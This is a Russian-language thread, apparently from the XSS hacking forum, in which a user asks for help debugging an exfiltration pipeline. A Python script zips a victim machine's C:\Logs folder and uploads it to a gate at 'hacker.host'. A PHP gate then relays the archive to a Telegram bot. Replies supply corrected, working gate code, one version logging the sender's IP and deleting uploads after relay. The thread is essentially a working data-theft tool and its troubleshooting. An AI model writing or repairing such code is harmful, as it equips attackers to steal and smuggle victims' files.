• XSS.stack #1 – первый литературный журнал от юзеров форума

Проблемы с гейтом и скриптом :|

D4nte

(L3) cache
Пользователь
Регистрация
29.01.2023
Сообщения
222
Реакции
106
Доброй ночи всем, столкнулся я с проблемой такой котороя меня вымораживает накидал я скрипт
gate.php
Код:
<?php
$botToken = 'token-here';
$chatId = 'chatid';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] === UPLOAD_ERR_OK) {
        $zipFilePath = $_FILES['zip_file']['tmp_name'];

        $curl = curl_init();

        $telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendDocument";

        $postData = array(
            'chat_id' => $chatId,
            'document' => new CURLFile($zipFilePath)
        );

        curl_setopt($curl, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);

        $response = curl_exec($curl);

        curl_close($curl);

        if ($response === false) {
            echo "Ошибка при отправке файла в Telegram.";
        } else {
            echo "Файл успешно отправлен в Telegram.";
        }
    } else {
        echo "Ошибка при загрузке файла.";
    }
} else {
    echo "Метод запроса не поддерживается.";
}
?>

И скрипт на py который отправляет на гейт для того чтобы тот переслал в бота телеги
Код:
import os
import requests
import shutil


def archive_send():
    hostname = os.popen('hostname').read().strip()
    source_folder = r'C:\Logs'

    archive_name = f'{hostname}.zip'
    shutil.make_archive(os.path.join(os.environ['TEMP'], hostname), 'zip', source_folder)
    upload_url = 'http://hacker.host/gate.php'

    session = requests.session()
    files = {"document": open(os.path.join(os.environ['TEMP'], archive_name), 'rb')}
    response = session.post(upload_url, files=files)

    if response.status_code == 200:
        print('Файл успешно отправлен на сервер.')
    else:
        print('Ошибка при отправке файла на сервер.')

Вообщем задача первого gate.php переслать высланный 2-ым скриптом(send.py) файл но проблема в том что он не отправляет ничего я попробывал разные методы но они тщетны, попрошу знатоков помочь мне с этой проблемой
 
Доброй ночи всем, столкнулся я с проблемой такой котороя меня вымораживает накидал я скрипт
gate.php
Код:
<?php
$botToken = 'token-here';
$chatId = 'chatid';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] === UPLOAD_ERR_OK) {
        $zipFilePath = $_FILES['zip_file']['tmp_name'];

        $curl = curl_init();

        $telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendDocument";

        $postData = array(
            'chat_id' => $chatId,
            'document' => new CURLFile($zipFilePath)
        );

        curl_setopt($curl, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);

        $response = curl_exec($curl);

        curl_close($curl);

        if ($response === false) {
            echo "Ошибка при отправке файла в Telegram.";
        } else {
            echo "Файл успешно отправлен в Telegram.";
        }
    } else {
        echo "Ошибка при загрузке файла.";
    }
} else {
    echo "Метод запроса не поддерживается.";
}
?>

И скрипт на py который отправляет на гейт для того чтобы тот переслал в бота телеги
Код:
import os
import requests
import shutil


def archive_send():
    hostname = os.popen('hostname').read().strip()
    source_folder = r'C:\Logs'

    archive_name = f'{hostname}.zip'
    shutil.make_archive(os.path.join(os.environ['TEMP'], hostname), 'zip', source_folder)
    upload_url = 'http://hacker.host/gate.php'

    session = requests.session()
    files = {"document": open(os.path.join(os.environ['TEMP'], archive_name), 'rb')}
    response = session.post(upload_url, files=files)

    if response.status_code == 200:
        print('Файл успешно отправлен на сервер.')
    else:
        print('Ошибка при отправке файла на сервер.')

Вообщем задача первого gate.php переслать высланный 2-ым скриптом(send.py) файл но проблема в том что он не отправляет ничего я попробывал разные методы но они тщетны, попрошу знатоков помочь мне с этой проблемой


если ничего не путаю то для гейта php вот верный код.


PHP:
<?php
$botToken = 'token-here';
$chatId = 'chatid';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] === UPLOAD_ERR_OK) {
        $fileName = $_FILES['zip_file']['name'];
        $fileSize = $_FILES['zip_file']['size'];
        $zipFilePath = $_FILES['zip_file']['tmp_name'];
        $fileCaption = $_POST['filedescription'] ?? '';
        $fileCaption = trim($fileCaption);

        $curl = curl_init();

        $telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendDocument";
        $fileContents = file_get_contents($zipFilePath);
        $postData = array(
            'chat_id' => $chatId,
            'document' => new CURLFile($zipFilePath, '', $fileName),
            'caption' => $fileCaption
        );


       

        curl_setopt($curl, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($curl);
        curl_close($curl);

        if ($response === false) {
            echo "Ошибка при отправке файла в Telegram.";
        } else {
            echo "Файл успешно отправлен в Telegram.";
        }
    } else {
        echo "Ошибка при загрузке файла.";
    }
} else {
    echo "Метод запроса не поддерживается.";
}
?>
 
Доброй ночи всем, столкнулся я с проблемой такой котороя меня вымораживает накидал я скрипт
gate.php
Код:
<?php
$botToken = 'token-here';
$chatId = 'chatid';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['zip_file']) && $_FILES['zip_file']['error'] === UPLOAD_ERR_OK) {
        $zipFilePath = $_FILES['zip_file']['tmp_name'];

        $curl = curl_init();

        $telegramApiUrl = "https://api.telegram.org/bot{$botToken}/sendDocument";

        $postData = array(
            'chat_id' => $chatId,
            'document' => new CURLFile($zipFilePath)
        );

        curl_setopt($curl, CURLOPT_URL, $telegramApiUrl);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postData);

        $response = curl_exec($curl);

        curl_close($curl);

        if ($response === false) {
            echo "Ошибка при отправке файла в Telegram.";
        } else {
            echo "Файл успешно отправлен в Telegram.";
        }
    } else {
        echo "Ошибка при загрузке файла.";
    }
} else {
    echo "Метод запроса не поддерживается.";
}
?>

И скрипт на py который отправляет на гейт для того чтобы тот переслал в бота телеги
Код:
import os
import requests
import shutil


def archive_send():
    hostname = os.popen('hostname').read().strip()
    source_folder = r'C:\Logs'

    archive_name = f'{hostname}.zip'
    shutil.make_archive(os.path.join(os.environ['TEMP'], hostname), 'zip', source_folder)
    upload_url = 'http://hacker.host/gate.php'

    session = requests.session()
    files = {"document": open(os.path.join(os.environ['TEMP'], archive_name), 'rb')}
    response = session.post(upload_url, files=files)

    if response.status_code == 200:
        print('Файл успешно отправлен на сервер.')
    else:
        print('Ошибка при отправке файла на сервер.')

Вообщем задача первого gate.php переслать высланный 2-ым скриптом(send.py) файл но проблема в том что он не отправляет ничего я попробывал разные методы но они тщетны, попрошу знатоков помочь мне с этой проблемой
Вот рабочий код,попробуй,на гейт зип отправляй

Код:
<?php
    $chat_id = "";  
    $bot_token = "";
   
    $uploaddir = "logs/";
    $uploadfile = $uploaddir . basename( $_FILES['file']['name']);

    $ip = $_SERVER['REMOTE_ADDR'];

    $extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);

    if($extension != "zip")
    {
        header("Location: http://google.com");
        die();
    }

    if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
    {      
        $caption = "IP:  " . $ip;

        $url = "https://api.telegram.org/bot" . $bot_token . "/sendDocument";
        $document = new CURLFile($uploadfile);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" => $document, "caption" => $caption]);
        curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $out = curl_exec($ch);
        curl_close($ch);
        unlink($uploadfile);
    }
    else
    {
        die();
    }
?>

Вот рабочий код,попробуй,на гейт зип отправляй
Забыл добавить,создай папку logs рядом со скриптом
 
Последнее редактирование модератором:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх